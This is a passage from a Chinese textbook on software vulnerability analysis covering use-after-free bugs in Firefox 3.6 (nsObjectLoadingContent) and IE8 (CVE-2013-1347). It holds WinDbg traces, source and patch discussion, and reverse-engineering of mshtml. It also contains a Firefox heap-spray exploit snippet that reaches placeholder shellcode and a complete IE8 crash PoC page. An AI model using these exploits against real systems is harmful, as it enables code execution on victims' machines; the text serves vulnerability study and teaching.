[esi+24h] 1023 610023c8 85c0 test eax,eax 1023 610023ca 57 push edi 1023 610023cb 8b7c2414 mov edi,dword ptr [esp+14h] // 参数 2=0x06457bc0 1023 610023cf 7408 je xul!nsObjectLoadingContent::OnChannelRedirect+0x29 (610023d9) // 发生跳转 xul!nsObjectLoadingContent::OnChannelRedirect+0x21 [e:\\builds\\moz2_slave\\rel-192-w32-bld\\build\\content\\base\\src\\nsobjectloadingcontent.cpp @ 1024]: 1024 610023d1 8b10 mov edx,dword ptr [eax] 1024 610023d3 57 push edi 1024 610023d4 51 push ecx 1024 610023d5 50 push eax 1024 610023d6 ff5210 call dword ptr [edx+10h] xul!nsObjectLoadingContent::OnChannelRedirect+0x29 [e:\\builds\\moz2_slave\\rel-192-w32-bld\\build\\content\\base\\src\\nsobjectloadingcontent.cpp @ 1027]: 1027 610023d9 897e1c mov dword ptr [esi+1Ch],edi // 将参数 2 赋值给对象 mChannel 1028 610023dc 33c0 xor eax,eax 1028 610023de 5f pop edi xul!nsObjectLoadingContent::OnChannelRedirect+0x2f [e:\\builds\\moz2_slave\\rel-192-w32-bld\\build\\content\\base\\src\\nsobjectloadingcontent.cpp @ 1028]: 1028 610023df 5e pop esi 1029 610023e0 c21000 ret 10h 上 面 的 调 试 信 息 已 经 给 出 源 码 文 件 的 路 径 及 行 数 ， 因 此 ， 我 们 可 以 直 接 查 看 nsObjectLoadingContent::OnChannelRedirect函数的源码，可通过在线源码地址http://hg.mozilla.org/releases/ mozilla-1.9.2/file/c24f21581d77/content/base/src/nsObjectLoadingContent.cpp获取到： 1012 // nsIChannelEventSink 1013 NS_IMETHODIMP 1014 nsObjectLoadingContent::OnChannelRedirect(nsIChannel *aOldChannel, 1015 nsIChannel *aNewChannel, 1016 PRUint32 aFlags) 1017 { 1018 // If we're already busy with a new load, or have no load at all, 282 漏洞战争：软件漏洞分析精要 1019 // cancel the redirect. 1020 if (aOldChannel != mChannel) { 1021 return NS_BINDING_ABORTED; 1022 } 1023 1024 if (mClassifier) { 1025 mClassifier->OnRedirect(aOldChannel, aNewChannel); //用新对象去代替旧对象 1026 } 1027 1028 mChannel = aNewChannel; // 将新对象 06457bc0 赋予 mChannel 对象，但由于 Firefox 本身的垃 圾回收机制，在 OnChannelRedirect 函数调用完毕后，它会回收不再使用的对象，即仅在本函数内使用的 aNewChannel 对象，此时 mChannel 就成了悬挂指针。"},
    {"text": "1029 return NS_OK; 1030 } 继续执行下去会断在我们前面设置的断点nsObjectLoadingContent::LoadObject(class nsIURI *, int, class nsCString *, int) ： 0:000> g Breakpoint 2 hit eax=004bf808 ebx=61580e90 ecx=00010001 edx=00000000 esi=07339584 edi=00000000 eip=61394d6d esp=004bf6c0 ebp=004bf7f0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 xul!nsObjectLoadingContent::LoadObject: 61394d6d 55 push ebp 0:000> u xul!nsObjectLoadingContent::LoadObject [e:\\builds\\moz2_slave\\rel-192-w32-bld\\build\\ content\\base\\src\\nsobjectloadingcontent.cpp @ 1147 ]: 61394d6d 55 push ebp 61394d6e 8bec mov ebp,esp 61394d70 83e4f8 and esp,0FFFFFFF8h 61394d73 81ecf4010000 sub esp,1F4h 61394d79 a1a0866361 mov eax,dword ptr [xul!__security_cookie (616386a0)] 61394d7e 33c4 xor eax,esp 61394d80 898424f0010000 mov dword ptr [esp+1F0h],eax 61394d87 8b450c mov eax,dword ptr [ebp+0Ch] 同样地，根据调试信息的源码路径，可以找到nsObjectLoadingContent::LoadObject(class nsIURI *, int, class nsCString *, int)函数源码，直接在里面找到对mChannel对象的引用： 1143 nsresult 第7章 释放重引用漏洞分析 283 1144 nsObjectLoadingContent::LoadObject(nsIURI* aURI, 1145 PRBool aNotify, 1146 const nsCString& aTypeHint, 1147 PRBool aForceLoad) 1148 { ……省略部分内容…… 1190 // From here on, we will always change the content. This means that a 1191 // possibly-loading channel should be aborted. 1192 if (mChannel) { 1193 LOG((\"OBJLC [%p]: Cancelling existing load\\n\", this)); 1194 1195 if (mClassifier) { 1196 mClassifier->Cancel(); 1197 mClassifier = nsnull; 1198 } 1199 1200 // These three statements are carefully ordered: 1201 // - onStopRequest should get a channel whose status is the same as the 1202 // status argument 1203 // - onStopRequest must get a non-null channel 1204 mChannel->Cancel(NS_BINDING_ABORTED); // 引用已释放的 mChannel 对象 1205 if (mFinalListener) { 1206 // NOTE: Since mFinalListener is only set in onStartRequest, which takes 1207 // care of calling mFinalListener->OnStartRequest, mFinalListener is only 1208 // non-null here if onStartRequest was already called. 1209 mFinalListener->OnStopRequest(mChannel, nsnull, NS_BINDING_ABORTED); 1210 mFinalListener = nsnull; 1211 } 1212 mChannel = nsnull; 1213 } ……省略部分内容…… 1469 return NS_OK; 1470 } 下面实际动态调试一下，先在xul!nsObjectLoadingContent::LoadObject+0xfc（根据前面调用虚函 数崩溃时得到的偏移量）的地方下断点： 0:000> g Breakpoint 2 hit eax=004bf808 ebx=61580e90 ecx=00010001 edx=00000000 esi=07339584 edi=00000000 eip=61394d6d esp=004bf6c0 ebp=004bf7f0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 284 漏洞战争：软件漏洞分析精要 xul!nsObjectLoadingContent::LoadObject: 61394d6d 55 push ebp 0:000> bp 61394d6d+fc 0:000> u 61394d6d+fc xul!nsObjectLoadingContent::LoadObject+0xfc [e:\\builds\\moz2_slave\\rel-192-w32-bld\\build\\content\\base\\src\\nsobjectloadingcontent.cpp @ 1203]: 61394e69 8b08 mov ecx,dword ptr [eax] 61394e6b be02004b80 mov esi,804B0002h 61394e70 56 push esi 61394e71 50 push eax 61394e72 ff5118 call dword ptr [ecx+18h] 执行后断下，可以发现这里引用的对象正是前面xul!nsObjectLoadingContent::OnChannelRedirect 的第2个参数值0x0： 0:020> g Breakpoint 0 hit eax=07136f80 ebx=04d2d7c4 ecx=05fc1570 edx=0714a160 esi=04d2d81c edi=80000000 eip=61394e69 esp=001dee38 ebp=001df03c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 xul!nsObjectLoadingContent::LoadObject+0xfc: 61394e69 8b08 mov ecx,dword ptr [eax] ds:0023:07136f80= 06457bc0 单步执行下去就触发异常，因此虚表指针被篡改，导致索引虚函数时出错，进而导致程序崩溃。"},
    {"text": "0:000> p eax=07136f80 ebx=04d2d7c4 ecx=06457bc0 edx=0714a160 esi=804b0002 edi=80000000 eip=61394e72 esp=001dee30 ebp=001df03c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 xul!nsObjectLoadingContent::LoadObject+0x105: 61394e72 ff5118 call dword ptr [ecx+18h] ds:0023:06457bd8= 0641e118 0:000> p (152c.11f0): Access violation - code c0000005 (!!! second chance !!!) eax=07136f80 ebx=04d2d7c4 ecx=06457bc0 edx=0714a160 esi=804b0002 edi=80000000 eip=0641e118 esp=001dee2c ebp=001df03c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 0641e118 00d7 add bh,dl 分析到这里，我们可以得出结论：在nsObjectLoadingContent::OnChannelRedirect函数中，当 mChannel对象未被分配时，会临时赋予一个新对象值，而该新对象值在函数返回后会被回收释放， 导致mChannel成为悬挂指针； 程序又在后面的nsObjectLoadingContent::LoadObject函数中引用到该悬 挂指针mChannel，最终导致释放重引用漏洞的发生，造成程序崩溃。 第7章 释放重引用漏洞分析 285 7.3.3 漏洞利用 以图7-3所示为例，为了实现任意代码执行，需要在mChannel对象释放后，用可控数据“占坑” 填充它，因此，可在OnChannelRedirect函数调用完成后，紧跟着申请一块大小相同的内存： e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0) fake_obj_addr = unescape(\"\\x1C%u0c0c\") 执行后，虚表指针就会被0x0c0c001c填充，从而控制程序的执行流程： 0:020> bu xul!nsObjectLoadingContent::LoadObject Matched: 6083558c xul!nsObjectLoadingContent::LoadObject (class nsAString_internal *, int, class nsCString *, int) Matched: 60834d6d xul!nsObjectLoadingContent::LoadObject (class nsIURI *, int, class nsCString *, int) Ambiguous symbol error at 'xul!nsObjectLoadingContent::LoadObject ' 0:020> bp 60834d6d+fc 0:020> g ModLoad: 6d980000 6d9ae000 C:\\Windows\\system32\\shdocvw.dll Breakpoint 0 hit eax=0753fa00 ebx=071a64e4 ecx=05db4d70 edx=07539a30 esi=071a653c edi=80000000 eip=60834e69 esp=0017ef48 ebp=0017f14c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 xul!nsObjectLoadingContent::LoadObject+0xfc: 60834e69 8b08 mov ecx,dword ptr [eax] ds:0023:0753fa00= 0c0c001c ……省略部分内容…… 0:000> p eax=0753fa00 ebx=071a64e4 ecx=0c0c001c edx=07539a30 esi=804b0002 edi=80000000 eip=60834e72 esp=0017ef40 ebp=0017f14c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 xul!nsObjectLoadingContent::LoadObject+0x105: 60834e72 ff5118 call dword ptr [ecx+18h] ds:0023:0c0c0034=7d66a4e8 接下来，只需要利用Heap Spray技术将Shellcode喷射到0x0c0c0034的位置即可实现任意代码执行： var ret_addr = unescape(\"%u0024%u0c0c\") while(ret_addr.length+20+8 < 0x100000-18-12-12-12) {ret_addr += ret_addr} var b = ret_addr.substring(0,(0x48-0x24)/2) b += shellcode b += ret_addr var next = b.substring(0,0x10000/2) while(next.length<0x800000) {next += next} 286 漏洞战争：软件漏洞分析精要 var again = next.substring(0,0x80000 - (0x1020-0x08)/2) array = new Array() for (n=0;n<0x1f0;n++){ array[n] = again + sc } 笔者将Shellcode用0x41414141填充，如果是在Windows XP系统上就可以直接放payload执行；"},
    {"text": "0:020> g ModLoad: 6d980000 6d9ae000 C:\\Windows\\system32\\shdocvw.dll (324.ad4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=02c10b50 ebx=06825724 ecx=0c0c001c edx=070313a0 esi=804b0002 edi=80000000 eip=41414141 esp=002feffc ebp=002ff20c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 41414141 ?? ??? 成功实现漏洞的利用，执行到0x41414141地址。"},
    {"text": "7.3.4 源码比对 由于Firefox本身是开源的， 其漏洞补丁代码也是公开的，尤 其是针对一些漏洞的修复，都直 接提供在线比对的代码，比如本 节所讲的漏洞可以通过http://hg. mozilla.org/releases/mozilla-1.9.2 /rev/c24f21581d77获取到源码对 比的情况，如图7-6所所示，补丁 代码添加对mChannel对象的判 断，当mChannel=0（前面调试 PoC时知道mChannel为0）时直接 返 回 ， 直 接 避 免 后 面 赋 值 图7-6 补丁源码比对 mChannel的操作，从而防止UAF 漏洞的发生。"},
    {"text": "第7章 释放重引用漏洞分析 287 7.4 CVE-2013-1347 Microsoft IE CGenericElement UAF漏洞 7.4.1 “水坑”攻击事件 2013年5月1日，美国劳工部网站被黑，并利用IE漏洞对浏览网站的用户进行攻击，当时全补丁 的IE8均受影响，随后微软也紧急发布安全公告进行预警。 此次事件正是利用CVE-2013-1347这个IE 漏洞导致的，黑客通过分析目标的网络活动规律，寻找目标经常访问的网站弱点，先攻下这些网站 并植入攻击代码等待目标访问网站时实施攻击，此类方法被称为“水坑攻击”。"},
    {"text": "表7-3 测试环境 推荐使用的环境 备注 操作系统 Windows 7 SP1 简体中文家庭普通版 漏洞软件 Internet Explorer 版本号：8.0.7601.17514 调试器 WinDbg 版本号：6.1.0001.404 反汇编器 IDA Pro 版本号：6.6 测试用的PoC代码如下： <!doctype html> <!-- required --> <HTML> <head> </head> <body> <ttttt:whatever id=\"myanim\"/><!-- required format --> <script> f0=document.createElement('span'); document.body.appendChild(f0); f1=document.createElement('span'); document.body.appendChild(f1); f2=document.createElement('span'); document.body.appendChild(f2); 288 漏洞战争：软件漏洞分析精要 document.body.contentEditable=\"true\"; f2.appendChild(document.createElement('datalist')); f1.appendChild(document.createElement('table')); try{ f0.offsetParent=null; }catch(e){ } f2.innerHTML=\"\"; f0.appendChild(document.createElement('hr')); f1.innerHTML=\"\"; CollectGarbage(); </script> </body> </html> 用WinDbg附加IE8进程，然后打开PoC页面，如图7-7所示，选择“允许阻止的内容”选项，接 着触发异常。 图7-7 打开PoC页面后的安全提醒 0:024> g ModLoad: 722e0000 723db000 C:\\Windows\\system32\\windowscodecs.dll ModLoad: 69c50000 69d02000 C:\\Windows\\System32\\jscript.dll (e90.cb4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=617d63d0 ebx=05d86148 ecx=003d09a0 edx=147d89ff esi=0245c7f0 edi=00000000 eip=147d89ff esp=0245c7c0 ebp=0245c7dc iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 147d89ff ?? ??? 0:005> kv 第7章 释放重引用漏洞分析 289 ChildEBP RetAddr Args to Child WARNING: Frame IP not in any known module. Following frames may be wrong. 0245c7bc 618bc81c 618fa6b3 0245cb0c 05d86148 0x147d89ff 0245c7c0 618fa6b3 0245cb0c 05d86148 00000000 mshtml!CElement::Doc+0x7 (FPO: [0,0,0]) 0245c7dc 618fa5bf 05d86148 0245cb0c 05d86148 mshtml!CTreeNode::ComputeFormats+0xba 0245ca88 6190928a 05d86148 05d86148 0245caa8 mshtml!CTreeNode::ComputeFormatsHelper+0x44 0245ca98 6190924a 05d86148 05d86148 0245cab8 mshtml!CTreeNode::GetFancyFormatIndexHelper+0x11 …… 查看崩溃时栈顶的返回地址0x618bc81c前面的指令： 0:005> ub 618bc81c mshtml!CElement::SecurityContext+0x29: 618bc810 90 nop 618bc811 90 nop 618bc812 90 nop 618bc813 90 nop 618bc814 90 nop mshtml!CElement::Doc: 618bc815 8b01 mov eax,dword ptr [ecx] 618bc817 8b5070 mov edx,dword ptr [eax+70h] 618bc81a ffd2 call edx 又看到颇为熟悉的虚函数调用指令，刚好在mshtml!Celment::Doc中调用到此虚函数，但如果直 接在mshtml!Celment::Doc上面下断点会不停地被断下，这显然是行不通的。"},
    {"text": "图7-8 开启页堆hpa功能 重新打开poc.html进行调试，断下： (1444.147c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=61c460c0 ebx=19513fb0 ecx=0cdeefc8 edx=00000000 esi=0484c928 edi=00000000 eip=618bc815 esp=0484c8fc ebp=0484c914 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 mshtml!CElement::Doc: 290 漏洞战争：软件漏洞分析精要 618bc815 8b01 mov eax,dword ptr [ecx] ds:0023:0cdeefc8=???????? 0:005> !heap -p -a ecx address 0cdeefc8 found in _DPH_HEAP_ROOT @ 11e1000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) 7a22ed4: cdee000 2000 6b3490b2 verifier!AVrfDebugPageHeapFree+0x000000c2 76fe6643 ntdll!RtlDebugFreeHeap+0x0000002f 76faa0ee ntdll!RtlpFreeHeap+0x0000005d 76f76536 ntdll!RtlFreeHeap+0x00000142 770bc3d4 kernel32!HeapFree+0x00000014 6180c91a mshtml!CGenericElement::`scalar deleting destructor' +0x0000003d 618c2f9f mshtml!CBase::SubRelease+0x00000022 618bb841 mshtml!CElement::PrivateRelease+0x0000002a 618b89fc mshtml!PlainRelease+0x00000025 619043e2 mshtml!PlainTrackerRelease+0x00000014 6a3ba683 jscript!VAR::Clear+0x0000005f 6a3d6e26 jscript!GcContext::Reclaim+0x000000b6 6a3d432a jscript!GcContext::CollectCore+0x00000133 6a438480 jscript!JsCollectGarbage +0x0000001d …… 相对刚开始的崩溃场景，显然开启页堆后会断得更及时，而且会得到更多的堆信息。"},
    {"text": "从上面输 出的堆信息可以断定此处正是引用已释放的堆地址才导致的崩溃，而从栈回溯情况看，这里引用的 已被删除的CGenericElement对象，是在JavaScript垃圾回收时被释放内存的。"},
    {"text": "7.4.3 逆向分析IE引擎对JavaScript代码的解析 为了找出导致漏洞的本质原因，我们需要对IE引擎在解析PoC中的JavaScript代码进行逆向分析， 尤其是DOM树结构的构建过程。"},
    {"text": "先从poc.html中的第一句JavaScript代码开始，它主要用于创建span 元素： f0=document.createElement('span'); 在 WinDbg 中 存 在 x 命 令 可 用 于 查 询 符 号 ， 并 支 持 “ ?* ” 等 通 用 符 ， 借 助 它 可 以 查 找 与 document.createElement相关的处理函数： 0:005> x mshtml!*document*createElement* 61815eb5 mshtml!CDocument::createElement = <no type information> 618c8100 mshtml!s_methdescCDocumentcreateElement = <no type information> 61815f0e mshtml!CDocument::CreateElementHelper = <no type information> 第7章 释放重引用漏洞分析 291 可以看到CDocument::createElement与CDocument::CreateElementHelper可能和解析JavaScript代 码中的document.createElement函数相关，因此先逆向分析CDocument::createElement函数。 用IDA分析mshtml.dll文件，定位到CDocument::createElement函数，可以发现它最终会调用 CDocument::CreateElementHelper来实现，如图7-9所示。 图7-9 CDocument::CreateElement函数 跟进CreateElementHelper函数，可以发现它调用CMarkup::CreateElement创建元素，如图7-10 所示。 图7-10 调用CMarkup::CreateElement创建元素 292 漏洞战争：软件漏洞分析精要 继续跟进CMarkup::CreateElement创建元素，发现它最终会再调用CreateElement函数，如图7-11 所示。 图7-11 调用CreateElement函数 CreateElement函数会从一个特定的函数数组中寻找相应的元素创建函数（如图7-12和图7-13所 示），比如此处PoC创建的是span元素，那么它就调用CSpanElement::CreateElement。 因此，在call edx 指令处下断查看调用的函数（可能会有两个地址均同名为CreateElement的情况，笔者直接使用第2个 地址），即可鉴别当前创建的是哪一个元素： bu mshtml!CreateElement+0x41 \"ln eax;gc\" 图7-12 调用特定元素相对应的创建函数 第7章 释放重引用漏洞分析 293 图7-13 用于创建不同元素的函数表 继续分析CSpanElement::CreateElement函数，它首先会HeapAlloc分配一块大小为28字节的内存， 接着调用CElement::CElement创建元素，将元素内容写入前面分配的内存地址，如图7-14和图7-15所 示。 图7-14 CSpanElement::CreateElement函数 294 漏洞战争：软件漏洞分析精要 图7-15 CElement::CElement函数 因 此 ， 为 了 查 看 创 建 元 素 所 在 的 内 存 数 据 ， 可 以 在 CElement::CELement 下 断 点 （ 不 在 CSpanElement::CreateElement 下 断 点 是 为 了 保 证 通 用 性 ， 因 为 不 是 每 个 元 素 的 创 建 都 会 调 用 到 CSpanElement::CreateElement，而CElement::CElement是各元素创建时的必经之路）： bu mshtml!CElement::CElement+0x1e \".echo '=== CElement ===';dd edi l(28/4);gc\" 注：28/4 中的 0x28 是指元素的大小，dd 命令的输出数据是以每 4 字节为单位，所以显示长度为 0x28/4。"},
    {"text": "298 漏洞战争：软件漏洞分析精要 图7-16 CElement::appendChild函数 图7-17 CElement::insertBeforeHelper函数 第7章 释放重引用漏洞分析 299 此处，笔者改用WinDbg动态跟踪CElement::InsertBeforeHelper函数的处理过程，单步调试下去， 发现它会调用CElement::GetDOMInsertPosition获取元素插入的DOM树位置。"},
    {"text": "图7-18 调用CMarkup::InsertElementInternal函数 CMarkup::InsertElementInternal函数里面会在DOM结构树里面搜索准备插入的分支节点，此处是 body节点，找到后会分配0x4C大小的内存（后面漏洞利用部分需要控制对象大小时会使用到），然 后调用CTreeNode::CTreeNode构建所添加元素的DOM树数据结构信息，如图7-19所示。 图7-19 调用CTreeNode::CTreeNode创建元素的DOM树结构信息 关于分配的内存用途，具体参见后面的分析。"},
    {"text": "搜索DOM树中f0元素的祖先（即 body元素）并将其置空，并非清空body元素，只是将f0与body断绝父子关系而已： f0.offsetParent=null; 重新打开IE加载poc.html，然后按F12键就可以打开开发人员工具，然后在上述代码行号前单击 一下，即可下断点，如图7-20所示。"},
    {"text": "306 漏洞战争：软件漏洞分析精要 图7-20 IE开发人员工具 接着，单击代码上方的“启动调试”按钮，会弹出如图7-21所示的确认框，单击“确认”按钮 即可。"},
    {"text": "图7-21 调试网页时的弹出框 接着，按图7-7所示那样操作即可在JavaScript代码上断下，此时f0.offsetParent指向body元素，如 图7-22所示。 第7章 释放重引用漏洞分析 307 图7-22 JavaScript代码调试 按F11键逐句调试，执行f0.offsetParent=null后，在“局部变量”窗口可以看到offsetParent值变为 null了，如图7-23所示。 图7-23 局部变量offsetParent被置为null 搜索可能相关的函数： 0:028> x mshtml!*offsetParent* 6689140f mshtml!CDisplayRequestGetOffsetParent::~CDisplayRequestGetOffsetParent = <no type information> 6689134b mshtml!CDisplayRequestGetOffsetParent::CDisplayRequestGetOffsetParent = <no type information> 6689184e mshtml!CDisplayBox::IsOffsetParent = <no type information> 6689188a mshtml!CDisplayBox::FindOffsetParent = <no type information> 66889f31 mshtml!CDisplayRequestGetOffsetParent::GetOffsetTopLeft = <no type information> 66891434 mshtml!CLayoutBlock::IsOffsetParent = <no type information> 66891aa5 mshtml!CDisplayRequestGetOffsetParent::SetOffsetParentDisplayBox = <no type information> 66891364 mshtml!CDisplayRequestGetOffsetParent::OffsetParent = <no type information> 6696ce42 mshtml!CElement::GetOffsetParentHelper = <no type information> 66891b41 mshtml!CTextDisplayBox::IsOffsetParent = <no type information> 308 漏洞战争：软件漏洞分析精要 66a2db94 mshtml!s_propdescCElementoffsetParent = <no type information> 66891abd mshtml!CDisplayRequestGetOffsetParent::SetSourceDisplayBox = <no type information> 6696d4f7 mshtml!CElement::get_offsetParent = <no type information> 66891919 mshtml!CDisplayBox::TransformRectToOffsetParent = <no type information> 从输出情况看，最有可能就是CElement::get_offsetParent函数与CElement::GetOffsetParentHelper 函数，其实get_offsetParent最终也是调用GetOffsetParentHelper，因此在GetOffsetParentHelper函数上 下断点。"},
    {"text": "为了弄清楚在GetOffsetParentHelper函数内对CTreeNode的操作情况，笔者在 GetOffsetParentHelper函数入口与结尾处下断点。 应该对CTreeNode哪个位置下访问断点呢？"},
    {"text": "可以先 来看下f0.offsetParent=NULL删除前后的情况，然后对比f0的CTreeNode数据变化。 未设置 f0.offsetParent=NULL 时的 CTreeNode 数据情况： 0:008> dd 06468708 l13 06468708 051db708 06468130 ffff 025b ffffffff 06468718 00000b71 00000013 06468578 064c7a40 06468728 06468578 06468980 00000062 00000000 06468738 00000000 06468998 06468998 064687c8 06468748 00000008 00000000 00000000 设置 f0.offsetParent=NULL 时的 CTreeNode 数据情况如下，它在 CTreeNode+0x44 的位置保存 CTextBlock 结构： 0:009> dd 060a5e70 l13 060a5e70 0611a030 060a5cb8 0002 025b 00000001 060a5e80 00000661 0000000b 060a5c30 0026a980 060a5e90 060a5c30 060a5e98 00000b72 00000012 060a5ea0 00269f30 00310e38 060a5e80 060a5ed8 060a5eb0 00000020 0604d398 00000000 0:009> ln poi(0604d398 ) (63b163f4) mshtml!CTextBlock::`vftable' | (63b16400) mshtml!CTableContainerBlock::`vftable' Exact matches: mshtml!CTextBlock::`vftable' = <no type information> 里面差别比较明显的就是CTreeNode+8和CTreeNode+C的两处数据，因此对这两处设置写断点， 这样就可以看到GetOffsetParentHelper函数里面哪些地方对CTreeNode上的两处地方写数据了。 0:009> g Breakpoint 10 hit eax=00000001 ebx=0606fc10 ecx=00000001 edx=003f4ec8 esi=02dfad60 edi=0606c150 eip=66c4a4a3 esp=02dfac60 ebp=02dfac84 iopl=0 nv up ei ng nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293 第7章 释放重引用漏洞分析 309 mshtml!CTreeNode::CacheNewFormats+0x109: 66c4a4a3 f6460802 test byte ptr [esi+8],2 ds:0023:02dfad68=07 0:009> ub 66c4a4a3 l2 mshtml!CTreeNode::CacheNewFormats+0x101: 66c4a49b 668b45fc mov ax,word ptr [ebp-4] 66c4a49f 6689470c mov word ptr [edi+0Ch],ax // 向 CTreeNode+C 位置写入 1 0:009> dd 0606c150 l13 0606c150 0612fea8 060760b0 ffff025b ffff 0001 0606c160 00000a51 00000012 0606c1d0 0606c210 0606c170 0606c648 0606c738 00000062 00000000 0606c180 00000000 0606c750 0606c750 0606c2c0 0606c190 00000008 00000000 00000000 虽然代码里面设置的是对f0的offsetParent置空，但是f1和f2里面的CTreeNode+C值也会同样被写 入1，而后面将innerHTML置空后，该值又会被重新写入0xffff。 重新对CTreeNode+C设置读断点，看 看该值的用途，最后程序断在CTreeNode::GetCharFormat： 0:009> g Breakpoint 10 hit eax=0606c150 ebx=0612fea8 ecx=00000001 edx=0606c150 esi=0606c150 edi=00000000 eip=66c3dcdd esp=02dfcfb0 ebp=02dfcfb4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mshtml!CTreeNode::GetCharFormat+0x4: 66c3dcdd 6685c9 test cx,cx 0:009> u mshtml!CTreeNode::GetCharFormat mshtml!CTreeNode::GetCharFormat: 66c3dcd9 0fb7480c movzx ecx,word ptr [eax+0Ch] // 判断 CTreeNode+C 的 word 值是否小 于 0 ，小于则调用 GetCharFormatHelper 66c3dcdd 6685c9 test cx,cx 66c3dce0 0f8c5a68f9ff jl mshtml!(66bd4540) 66c3dce6 56 push esi 66c3dce7 ff35605df966 push dword ptr [mshtml!g_dwTls (66f95d60)] 66c3dced 0fbff1 movsx esi,cx 66c3dcf0 ff15ec12a566 call dword ptr [mshtml!_imp__TlsGetValue (66a512ec)] 66c3dcf6 6bf60c imul esi,esi,0Ch 对0x66c3dcd9下断点，发现它会遍历每个元素进行处理，不同元素可能不同值，普通取值范围 在0~3，比如当处理HR元素时，发现CTreeNode+C处的值为3： 0:009> g Breakpoint 5 hit eax=06c5afd8 ebx=00000000 ecx=00000060 edx=00000040 esi=06c5afd8 edi=060cf4b8 eip=66c3dcd9 esp=02dfd1bc ebp=02dfd1d0 iopl=0 nv up ei pl nz na pe nc 310 漏洞战争：软件漏洞分析精要 cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 mshtml!CTreeNode::GetCharFormat: 66c3dcd9 0fb7480c movzx ecx,word ptr [eax+0Ch] ds:0023:06c5afe4=0003 0:009> ln poi(poi(06c5afe4-c)) (66a59330) mshtml!CHRElement::`vftable' | (66d6ca44) mshtml!`string' Exact matches: mshtml!CHRElement::`vftable' = <no type information> 因 此 ， 初 步 怀 疑 该 值 可 能 为 元 素 的 引 用 计 数 ， 当 它 小 于 0 （ 如 0xFFFF ） 时 就 会 调 用 CTreeNode::GetCharFormatHelper重新计算节点格式。"},
    {"text": "后来笔者又参考了IE5的源码，看到CTreeNode 有如下的类定义（如图7-24所示），虽然版本有点旧，但基本正确，只是不够完整而已。 图7-24 IE5源码中对CTreeNode的类定义 从上面可以看到，CTreeNode+4是父节点的CtreeNode结构，CTreeNode+8是一些标记位定义， CTreeNode+0C其实是个定义CharFormat的整数值_iCF，而f0.offsetParent=null一句刚好会将其置1，这 样它就不会调用CTreeNode::GetCharFormatHelper去重新计算格式用于后续渲染，导致原本未被渲染 的节点被误以为渲染了。"},
    {"text": "f2.innerHTML=\"\"; 第7章 释放重引用漏洞分析 311 f0.appendChild(document.createElement('hr')); f1.innerHTML=\"\"; 图7-25 执行前后的变化 通过调试JavaScript可以很容易地帮助读者理解代码的意思，方便后续的漏洞分析。"},
    {"text": "最后执行 CollectGarbage函数进行垃圾回收，从7.4.2节可以知道漏洞对象CGenericElement就是在垃圾回收时被 释放的。 从图7-24中可以看到f1和f2的内部HTML代码已被清空，其所占内存就会在垃圾回收时被释 放，此时的CGenericElement对象，也就是f2中的datalist元素已被清空，所以CGenericElement对象内 存也会被一并释放掉，其实连f1中的TABLE元素也会被释放掉。 为方便区分垃圾回收前后的情况，我们在PoC的JavaScript代码中添加一些调试信息，使用 Math.atan2来做日志记录： <script> Math.atan2(1, \"[*] Create f0(span)...\"); f0=document.createElement('span'); document.body.appendChild(f0); Math.atan2(1, \"[*] Create f1(span)...\"); f1=document.createElement('span'); document.body.appendChild(f1); Math.atan2(1, \"[*] Create f2(span)...\"); f2=document.createElement('span'); document.body.appendChild(f2); Math.atan2(1, \"[*] f2 appendChild datalist ...\"); document.body.contentEditable=\"true\"; f2.appendChild(document.createElement('datalist')); //has to be a data list Math.atan2(1, \"[*] f1 appendChild table ...\"); 312 漏洞战争：软件漏洞分析精要 f1.appendChild(document.createElement('table')); try{ Math.atan2(1, \"[*] Set f0 offsetParaent NULL ...\"); f0.offsetParent=null; }catch(e){ } Math.atan2(1, \"[*] Set f2 innerHTML NULL ...\"); f2.innerHTML=\"\"; Math.atan2(1, \"[*] f0 appendChild hr ...\"); f0.appendChild(document.createElement('hr')); Math.atan2(1, \"[*] Set f1 innerHTML NULL ...\"); f1.innerHTML=\"\"; Math.atan2(1, \"[*] Collect Garbage ...\"); CollectGarbage(); Math.atan2(1, \"[*] End !!!\"); </script> 然后，通过WinDbg设置断点输出传递给atan2的字符串参数即可实现日志记录的功能： bu jscript!JsAtan2 \".printf \\\"%mu\\\",poi(poi(poi(esp+14)+8)+8);.echo;\" 同时，继续保留着前面对CElement和CTreeNode的条件记录断点，重新调试： …… 0:004> g '=== CElement ===' 003625a0 65a55570 00000001 00000008 00000000 003625b0 00000000 00000000 00000000 00000000 003625c0 00000000 00000000 '=== CTreeNode ===' 05bdb738 003625a0 003625a0 65b5c668 mshtml! CGenericElement ::`vftable' …… 0:004> g '=== CElement ===' 第7章 释放重引用漏洞分析 313 06381a28 65a55570 00000001 00000008 00000000 06381a38 00000000 00000000 00000000 00000000 06381a48 00000000 00000000 '=== CTreeNode ===' 05bdc0d8 06381a28 06381a28 65a564c0 